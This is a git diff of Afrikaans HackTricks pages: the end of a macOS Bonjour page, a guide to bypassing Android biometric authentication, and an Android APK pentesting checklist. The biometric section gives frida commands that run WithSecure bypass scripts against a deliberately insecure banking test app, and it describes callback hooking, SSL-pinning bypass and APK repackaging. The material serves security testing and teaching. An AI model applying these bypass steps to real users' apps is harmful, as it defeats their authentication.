As daar bekommernisse oor sekuriteit is of ander redes om Bonjour te deaktiveer, kan dit met die volgende opdrag afgeskakel word:
|
||||
```bash
|
||||
sudo launchctl unload -w /System/Library/LaunchDaemons/com.apple.mDNSResponder.plist
|
||||
```
|
||||
|
@ -121,16 +122,17 @@ sudo launchctl unload -w /System/Library/LaunchDaemons/com.apple.mDNSResponder.p
|
|||
* [**https://taomm.org/vol1/analysis.html**](https://taomm.org/vol1/analysis.html)
|
||||
* [**https://lockboxx.blogspot.com/2019/07/macos-red-teaming-206-ard-apple-remote.html**](https://lockboxx.blogspot.com/2019/07/macos-red-teaming-206-ard-apple-remote.html)
|
||||
|
||||
{% hint style="success" %}
|
||||
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Ondersteun HackTricks</summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-repos.
|
||||
* Kyk na die [**intekening planne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,21 +1,23 @@
|
|||
# Bypass Biometriese Verifikasie (Android)
|
||||
# Bypass Biometric Authentication (Android)
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Werk jy in 'n **cybersecurity-maatskappy**? Wil jy jou **maatskappy adverteer in HackTricks**? Of wil jy toegang hê tot die **nuutste weergawe van die PEASS of HackTricks aflaai in PDF-formaat**? Kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Sluit aan by die** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** my op **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacking-truuks deur PR's in te dien by die [hacktricks repo](https://github.com/carlospolop/hacktricks) en [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## **Metode 1 - Bypassing sonder Crypto Object-gebruik**
|
||||
## **Metode 1 – Omseiling sonder Crypto Object Gebruik**
|
||||
|
||||
Die fokus hier is op die *onAuthenticationSucceeded* terugroep, wat krities is in die verifikasieproses. Navorsers by WithSecure het 'n [Frida-skrip](https://github.com/WithSecureLABS/android-keystore-audit/blob/master/frida-scripts/fingerprint-bypass.js) ontwikkel wat die omseiling van die NULL *CryptoObject* in *onAuthenticationSucceeded(...)* moontlik maak. Die skrip dwing 'n outomatiese omseiling van die vingerafdrukverifikasie by die oproep van die metode. Hieronder is 'n vereenvoudigde snipper wat die omseiling demonstreer in 'n Android Vingerafdruk-konteks, met die volledige toepassing beskikbaar op [GitHub](https://github.com/St3v3nsS/InsecureBanking).
|
||||
Die fokus hier is op die *onAuthenticationSucceeded* terugroep, wat van kardinale belang is in die verifikasieproses. Navorsers by WithSecure het 'n [Frida script](https://github.com/WithSecureLABS/android-keystore-audit/blob/master/frida-scripts/fingerprint-bypass.js) ontwikkel, wat die omseiling van die NULL *CryptoObject* in *onAuthenticationSucceeded(...)* moontlik maak. Die script dwing 'n outomatiese omseiling van die vingerafdrukverifikasie by die metode se aanroep. Hieronder is 'n vereenvoudigde snit wat die omseiling in 'n Android Vingerafdruk konteks demonstreer, met die volle toepassing beskikbaar op [GitHub](https://github.com/St3v3nsS/InsecureBanking).
|
||||
```javascript
|
||||
biometricPrompt = new BiometricPrompt(this, executor, new BiometricPrompt.AuthenticationCallback() {
|
||||
@Override
|
||||
|
@ -24,19 +26,19 @@ Toast.makeText(MainActivity.this,"Success",Toast.LENGTH_LONG).show();
|
|||
}
|
||||
});
|
||||
```
|
||||
Opdrag om die Frida-skripsie uit te voer:
|
||||
Opdrag om die Frida-skrip te loop:
|
||||
```bash
|
||||
frida -U -f com.generic.insecurebankingfingerprint --no-pause -l fingerprint-bypass.js
|
||||
```
|
||||
## **Metode 2 - Uitsonderingshanteringbenadering**
|
||||
## **Metode 2 – Uitsondering Hantering Benadering**
|
||||
|
||||
'n Ander [Frida-skripsie](https://github.com/WithSecureLABS/android-keystore-audit/blob/master/frida-scripts/fingerprint-bypass-via-exception-handling.js) deur WithSecure spreek die omseiling van onveilige kriptografiese objekgebruik aan. Die skripsie roep *onAuthenticationSucceeded* aan met 'n *CryptoObject* wat nie deur 'n vingerafdruk geoutoriseer is nie. As die toepassing probeer om 'n ander chiffreerobjek te gebruik, sal dit 'n uitsondering veroorsaak. Die skripsie berei voor om *onAuthenticationSucceeded* aan te roep en die *javax.crypto.IllegalBlockSizeException* in die _Cipher_-klas te hanteer, om te verseker dat daaropvolgende objekte wat deur die toepassing gebruik word, met die nuwe sleutel versleutel word.
|
||||
Nog 'n [Frida script](https://github.com/WithSecureLABS/android-keystore-audit/blob/master/frida-scripts/fingerprint-bypass-via-exception-handling.js) deur WithSecure spreek die omseiling van onveilige kripto objek gebruik aan. Die script roep *onAuthenticationSucceeded* aan met 'n *CryptoObject* wat nie deur 'n vingerafdruk geverifieer is nie. As die aansoek probeer om 'n ander cipher objek te gebruik, sal dit 'n uitsondering ontlok. Die script berei voor om *onAuthenticationSucceeded* aan te roep en die *javax.crypto.IllegalBlockSizeException* in die _Cipher_ klas te hanteer, wat verseker dat daaropvolgende objek wat deur die aansoek gebruik word, met die nuwe sleutel geënkripteer is.
|
||||
|
||||
Opdrag om die Frida-skripsie uit te voer:
|
||||
Opdrag om die Frida script te loop:
|
||||
```bash
|
||||
frida -U -f com.generic.insecurebankingfingerprint --no-pause -l fingerprint-bypass-via-exception-handling.js
|
||||
```
|
||||
By die vingerafdruk skerm te bereik en die begin van `authenticate()`, tik `bypass()` in die Frida konsole om die omweg te aktiveer:
|
||||
Upon reaching the fingerprint screen and the initiation of `authenticate()`, type `bypass()`` in the Frida console to activate the bypass:
|
||||
```
|
||||
Spawning com.generic.insecurebankingfingerprint...
|
||||
[Android Emulator 5554::com.generic.insecurebankingfingerprint]-> Hooking BiometricPrompt.authenticate()...
|
||||
|
@ -44,43 +46,46 @@ Hooking BiometricPrompt.authenticate2()...
|
|||
Hooking FingerprintManager.authenticate()...
|
||||
[Android Emulator 5554::com.generic.insecurebankingfingerprint]-> bypass()
|
||||
```
|
||||
## **Metode 3 - Instrumentasie Raamwerke**
|
||||
## **Metode 3 – Instrumentasie Raamwerke**
|
||||
|
||||
Instrumentasie raamwerke soos Xposed of Frida kan gebruik word om in te haak by toepassingsmetodes tydens uitvoering. Vir vingerafdrukverifikasie kan hierdie raamwerke:
|
||||
Instrumentasie raamwerke soos Xposed of Frida kan gebruik word om in toepassingsmetodes tydens uitvoering in te haak. Vir vingerafdrukverifikasie kan hierdie raamwerke:
|
||||
|
||||
1. **Naboots die Verifikasie Terugroepings**: Deur in te haak by die `onAuthenticationSucceeded`, `onAuthenticationFailed`, of `onAuthenticationError` metodes van die `BiometricPrompt.AuthenticationCallback`, kan jy die uitkoms van die vingerafdrukverifikasieproses beheer.
|
||||
2. **Bypass SSL Pinning**: Dit stel 'n aanvaller in staat om die verkeer tussen die kliënt en die bediener te onderskep en te wysig, moontlik die verifikasieproses te verander of sensitiewe data te steel.
|
||||
1. **Mok die Verifikasie Terugroepe**: Deur in die `onAuthenticationSucceeded`, `onAuthenticationFailed`, of `onAuthenticationError` metodes van die `BiometricPrompt.AuthenticationCallback` in te haak, kan jy die uitkoms van die vingerafdrukverifikasieproses beheer.
|
||||
2. **Omseil SSL Pinning**: Dit laat 'n aanvaller toe om die verkeer tussen die kliënt en die bediener te onderskep en te wysig, wat moontlik die verifikasieproses kan verander of sensitiewe data kan steel.
|
||||
|
||||
Voorbeeldopdrag vir Frida:
|
||||
```bash
|
||||
frida -U -l script-to-bypass-authentication.js --no-pause -f com.generic.in
|
||||
```
|
||||
## **Metode 4 - Omgekeerde Ingenieurswese & Kode Wysiging**
|
||||
## **Metode 4 – Omgekeerde Ingenieurswese & Kodewysiging**
|
||||
|
||||
Omgekeerde ingenieurswese hulpmiddels soos `APKTool`, `dex2jar`, en `JD-GUI` kan gebruik word om 'n Android-toepassing te dekompilieer, sy bronkode te lees, en sy outentiseringsmeganisme te verstaan. Die stappe behels gewoonlik die volgende:
|
||||
Omgekeerde ingenieurswese gereedskap soos `APKTool`, `dex2jar`, en `JD-GUI` kan gebruik word om 'n Android-toepassing te dekompileer, sy bronnkode te lees, en sy outentikasie-meganisme te verstaan. Die stappe sluit gewoonlik in:
|
||||
|
||||
1. **Dekompilering van die APK**: Omskakeling van die APK-lêer na 'n meer mensleesbare formaat (soos Java-kode).
|
||||
2. **Analise van die Kode**: Soek na die implementering van vingerafdruk-outentisering en identifiseer potensiële swakpunte (soos terugvalmeganismes of onvanpaste valideringskontroles).
|
||||
3. **Heropbou van die APK**: Nadat die kode gewysig is om vingerafdruk-outentisering te omseil, word die toepassing heropgebou, onderteken, en op die toestel geïnstalleer vir toetsdoeleindes.
|
||||
1. **Dekomplilering van die APK**: Converteer die APK-lêer na 'n meer menslike leesbare formaat (soos Java-kode).
|
||||
2. **Analiseer die Kode**: Soek na die implementering van vingerafdrukoutentikasie en identifiseer potensiële swakpunte (soos terugvalmeganismes of onvanpaste valideringskontroles).
|
||||
3. **Hersamestelling van die APK**: Nadat die kode gewysig is om vingerafdrukoutentikasie te omseil, word die toepassing hersamestel, onderteken, en op die toestel geïnstalleer vir toetsing.
|
||||
|
||||
## **Metode 5 - Gebruik van Aangepaste Outentiseringshulpmiddels**
|
||||
## **Metode 5 – Gebruik van Pasgemaakte Outentikasiegereedskap**
|
||||
|
||||
Daar is gespesialiseerde hulpmiddels en skripte ontwerp om outentiseringmeganismes te toets en te omseil. Byvoorbeeld:
|
||||
Daar is gespesialiseerde gereedskap en skripte ontwerp om outentikasie-meganismes te toets en te omseil. Byvoorbeeld:
|
||||
|
||||
1. **MAGISK-modules**: MAGISK is 'n hulpmiddel vir Android wat gebruikers in staat stel om hul toestelle te root en modules by te voeg wat hardewarevlak-inligting, insluitend vingerafdrukke, kan wysig of vervals.
|
||||
2. **Aangepaste Skripte**: Skripte kan geskryf word om te kommunikeer met die Android Debug Bridge (ADB) of direk met die toepassing se agterkant om vingerafdruk-outentisering te simuleer of te omseil.
|
||||
1. **MAGISK Modules**: MAGISK is 'n gereedskap vir Android wat gebruikers toelaat om hul toestelle te root en modules by te voeg wat hardewarevlak-inligting kan wysig of spoof, insluitend vingerafdrukke.
|
||||
2. **Pasgemaakte Skripte**: Skripte kan geskryf word om met die Android Debug Bridge (ADB) of direk met die toepassing se agterkant te kommunikeer om vingerafdrukoutentikasie te simuleer of te omseil.
|
||||
|
||||
## Verwysings
|
||||
* [https://securitycafe.ro/2022/09/05/mobile-pentesting-101-bypassing-biometric-authentication/](https://securitycafe.ro/2022/09/05/mobile-pentesting-101-bypassing-biometric-authentication/)
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Werk jy in 'n **cybersekuriteitsmaatskappy**? Wil jy jou **maatskappy adverteer in HackTricks**? Of wil jy toegang hê tot die **nuutste weergawe van die PEASS of HackTricks aflaai in PDF-formaat**? Kyk na die [**SUBSKRIPSIEPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
|
||||
* Kry die [**amptelike PEASS & HackTricks-uitrusting**](https://peass.creator-spring.com)
|
||||
* **Sluit aan by die** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** my op **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou haktruuks deur PR's in te dien by die [hacktricks repo](https://github.com/carlospolop/hacktricks) en [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,18 +1,21 @@
|
|||
# Android APK Kontrollys
|
||||
# Android APK Checklist
|
||||
|
||||
{% hint style="success" %}
|
||||
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Ondersteun HackTricks</summary>
|
||||
|
||||
* Werk jy by 'n **cybersekuriteitsmaatskappy**? Wil jy jou **maatskappy geadverteer sien in HackTricks**? of wil jy toegang hê tot die **nuutste weergawe van die PEASS of HackTricks aflaai in PDF-formaat**? Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Sluit aan by die** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** my op **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou haktruuks deur PR's in te dien by die [hacktricks-opslagplek](https://github.com/carlospolop/hacktricks) en [hacktricks-cloud-opslagplek](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Probeer Hard Security Groep**
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
@ -20,75 +23,78 @@
|
|||
|
||||
***
|
||||
|
||||
### [Leer Android grondbeginsels](android-app-pentesting/#2-android-application-fundamentals)
|
||||
### [Leer Android basiese beginsels](android-app-pentesting/#2-android-application-fundamentals)
|
||||
|
||||
* [ ] [Basies](android-app-pentesting/#fundamentals-review)
|
||||
* [ ] [Basiese beginsels](android-app-pentesting/#fundamentals-review)
|
||||
* [ ] [Dalvik & Smali](android-app-pentesting/#dalvik--smali)
|
||||
* [ ] [Inkommende punte](android-app-pentesting/#application-entry-points)
|
||||
* [ ] [Toegangspunte](android-app-pentesting/#application-entry-points)
|
||||
* [ ] [Aktiwiteite](android-app-pentesting/#launcher-activity)
|
||||
* [ ] [URL-skemas](android-app-pentesting/#url-schemes)
|
||||
* [ ] [Inhoudsverskaffers](android-app-pentesting/#services)
|
||||
* [ ] [URL Skemas](android-app-pentesting/#url-schemes)
|
||||
* [ ] [Inhoud Verskaffers](android-app-pentesting/#services)
|
||||
* [ ] [Dienste](android-app-pentesting/#services-1)
|
||||
* [ ] [Uitsaai-ontvangers](android-app-pentesting/#broadcast-receivers)
|
||||
* [ ] [Intents](android-app-pentesting/#intents)
|
||||
* [ ] [Intent-filter](android-app-pentesting/#intent-filter)
|
||||
* [ ] [Uitsaai Ontvangers](android-app-pentesting/#broadcast-receivers)
|
||||
* [ ] [Intensies](android-app-pentesting/#intents)
|
||||
* [ ] [Intent Filter](android-app-pentesting/#intent-filter)
|
||||
* [ ] [Ander komponente](android-app-pentesting/#other-app-components)
|
||||
* [ ] [Hoe om ADB te gebruik](android-app-pentesting/#adb-android-debug-bridge)
|
||||
* [ ] [Hoe om Smali te wysig](android-app-pentesting/#smali)
|
||||
|
||||
### [Statiese Analise](android-app-pentesting/#static-analysis)
|
||||
|
||||
* [ ] Kontroleer vir die gebruik van [verduistering](android-checklist.md#some-obfuscation-deobfuscation-information), kontroleer of die foon gewortel is, of 'n emulator gebruik word en teen-tampering kontroles. [Lees hierdie vir meer inligting](android-app-pentesting/#other-checks).
|
||||
* [ ] Sensitiewe aansoeke (soos banktoepassings) moet nagaan of die foon gewortel is en moet daarna optree.
|
||||
* [ ] Soek na [interessante strings](android-app-pentesting/#looking-for-interesting-info) (wagwoorde, URL's, API, versleuteling, agterdeure, tokens, Bluetooth-uuid's...).
|
||||
* [ ] Spesiale aandag aan [firebase ](android-app-pentesting/#firebase)API's.
|
||||
* [ ] Kyk vir die gebruik van [obfuscation](android-checklist.md#some-obfuscation-deobfuscation-information), kyk of die mobiele toestel ge-root is, of 'n emulator gebruik word en anti-tampering kontroles. [Lees dit vir meer inligting](android-app-pentesting/#other-checks).
|
||||
* [ ] Sensitiewe toepassings (soos banktoepassings) moet kyk of die mobiele toestel ge-root is en moet dienooreenkomstig optree.
|
||||
* [ ] Soek na [interessante stringe](android-app-pentesting/#looking-for-interesting-info) (wagwoorde, URL's, API, versleuteling, agterdeure, tokens, Bluetooth uuids...).
|
||||
* [ ] Spesiale aandag aan [firebase ](android-app-pentesting/#firebase)APIs.
|
||||
* [ ] [Lees die manifest:](android-app-pentesting/#basic-understanding-of-the-application-manifest-xml)
|
||||
* [ ] Kontroleer of die aansoek in foutopsporingsmodus is en probeer om dit "uit te buit"
|
||||
* [ ] Kontroleer of die APK rugsteune toelaat
|
||||
* [ ] Uitgevoerde aktiwiteite
|
||||
* [ ] Inhoudsverskaffers
|
||||
* [ ] Kyk of die toepassing in debug-modus is en probeer om dit te "ontgin"
|
||||
* [ ] Kyk of die APK rugsteun toelaat
|
||||
* [ ] Uitgevoerde Aktiwiteite
|
||||
* [ ] Inhoud Verskaffers
|
||||
* [ ] Blootgestelde dienste
|
||||
* [ ] Uitsaai-ontvangers
|
||||
* [ ] URL-skemas
|
||||
* [ ] Berg die aansoek data onveilig intern of ekstern op](android-app-pentesting/#insecure-data-storage)?
|
||||
* [ ] Is daar enige [hardgekooide wagwoord of op die skyf gestoor](android-app-pentesting/#poorkeymanagementprocesses)? Gebruik die aansoek [onveilige kriptografiese algoritmes](android-app-pentesting/#useofinsecureandordeprecatedalgorithms)?
|
||||
* [ ] Is al die biblioteke saamgestel met die PIE-vlag?
|
||||
* [ ] Moet nie vergeet dat daar 'n klomp [statische Android-analise-instrumente](android-app-pentesting/#automatic-analysis) is wat jou baie kan help gedurende hierdie fase.
|
||||
* [ ] Uitsaai Ontvangers
|
||||
* [ ] URL Skemas
|
||||
* [ ] Is die toepassing s[aving data insecurely internally or externally](android-app-pentesting/#insecure-data-storage)?
|
||||
* [ ] Is daar enige [wagwoord hard gekodeer of op skyf gestoor](android-app-pentesting/#poorkeymanagementprocesses)? Gebruik die app [insecurely crypto algorithms](android-app-pentesting/#useofinsecureandordeprecatedalgorithms)?
|
||||
* [ ] Alle biblioteke gecompileer met die PIE vlag?
|
||||
* [ ] Moet nie vergeet dat daar 'n klomp [statiese Android Analyzers](android-app-pentesting/#automatic-analysis) is wat jou baie kan help tydens hierdie fase nie.
|
||||
|
||||
### [Dinamiese Analise](android-app-pentesting/#dynamic-analysis)
|
||||
|
||||
* [ ] Berei die omgewing voor ([aanlyn](android-app-pentesting/#online-dynamic-analysis), [plaaslike VM of fisiese](android-app-pentesting/#local-dynamic-analysis))
|
||||
* [ ] Is daar enige [onbedoelde datalek](android-app-pentesting/#unintended-data-leakage) (log, kopie/plak, kraslogboeke)?
|
||||
* [ ] [Vertroulike inligting wat in SQLite-databasisse gestoor word](android-app-pentesting/#sqlite-dbs)?
|
||||
* [ ] [Uitbuitbare blootgestelde aktiwiteite](android-app-pentesting/#exploiting-exported-activities-authorisation-bypass)?
|
||||
* [ ] [Uitbuitbare inhoudsverskaffers](android-app-pentesting/#exploiting-content-providers-accessing-and-manipulating-sensitive-information)?
|
||||
* [ ] [Uitbuitbare blootgestelde dienste](android-app-pentesting/#exploiting-services)?
|
||||
* [ ] [Uitbuitbare uitsaai-ontvangers](android-app-pentesting/#exploiting-broadcast-receivers)?
|
||||
* [ ] Stuur die aansoek inligting in die teks/maak gebruik van swak algoritmes](android-app-pentesting/#insufficient-transport-layer-protection)? is 'n MitM moontlik?
|
||||
* [ ] [Inspekteer HTTP/HTTPS-verkeer](android-app-pentesting/#inspecting-http-traffic)
|
||||
* [ ] Hierdie is baie belangrik, want as jy die HTTP-verkeer kan vasvang, kan jy soek na algemene Web-kwesbaarhede (Hacktricks het baie inligting oor Web-kwesbaarhede).
|
||||
* [ ] Kontroleer vir moontlike [Android-kliëntkant-inspuitings](android-app-pentesting/#android-client-side-injections-and-others) (waarskynlik sal 'n bietjie statiese kode-analise hier help)
|
||||
* [ ] [Frida](android-app-pentesting/#frida): Net Frida, gebruik dit om interessante dinamiese data van die aansoek te verkry (miskien sommige wagwoorde...)
|
||||
* [ ] Berei die omgewing voor ([aanlyn](android-app-pentesting/#online-dynamic-analysis), [lokale VM of fisies](android-app-pentesting/#local-dynamic-analysis))
|
||||
* [ ] Is daar enige [onbedoelde data lekkasie](android-app-pentesting/#unintended-data-leakage) (logging, kopie/plak, crash logs)?
|
||||
* [ ] [Vertroulike inligting wat in SQLite dbs gestoor word](android-app-pentesting/#sqlite-dbs)?
|
||||
* [ ] [Ontginbare blootgestelde Aktiwiteite](android-app-pentesting/#exploiting-exported-activities-authorisation-bypass)?
|
||||
* [ ] [Ontginbare Inhoud Verskaffers](android-app-pentesting/#exploiting-content-providers-accessing-and-manipulating-sensitive-information)?
|
||||
* [ ] [Ontginbare blootgestelde Dienste](android-app-pentesting/#exploiting-services)?
|
||||
* [ ] [Ontginbare Uitsaai Ontvangers](android-app-pentesting/#exploiting-broadcast-receivers)?
|
||||
* [ ] Is die toepassing [inligting in duidelike teks oordra/gebruik swak algoritmes](android-app-pentesting/#insufficient-transport-layer-protection)? Is 'n MitM moontlik?
|
||||
* [ ] [Inspekteer HTTP/HTTPS verkeer](android-app-pentesting/#inspecting-http-traffic)
|
||||
* [ ] Dit is regtig belangrik, want as jy die HTTP-verkeer kan vang, kan jy soek na algemene Web kwesbaarhede (Hacktricks het baie inligting oor Web kwesbaarhede).
|
||||
* [ ] Kyk vir moontlike [Android Klientkant Injekties](android-app-pentesting/#android-client-side-injections-and-others) (waarskynlik sal 'n paar statiese kode analise hier help)
|
||||
* [ ] [Frida](android-app-pentesting/#frida): Net Frida, gebruik dit om interessante dinamiese data van die toepassing te verkry (miskien 'n paar wagwoorde...)
|
||||
|
||||
### Sommige verduistering/Deverduistering inligting
|
||||
### Sommige obfuscation/Deobfuscation inligting
|
||||
|
||||
* [ ] [Lees hier](android-app-pentesting/#obfuscating-deobfuscating-code)
|
||||
|
||||
|
||||
**Probeer Hard Security Groep**
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Ondersteun HackTricks</summary>
|
||||
|
||||
* Werk jy by 'n **cybersekuriteitsmaatskappy**? Wil jy jou **maatskappy geadverteer sien in HackTricks**? of wil jy toegang hê tot die **nuutste weergawe van die PEASS of HackTricks aflaai in PDF-formaat**? Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
|
||||
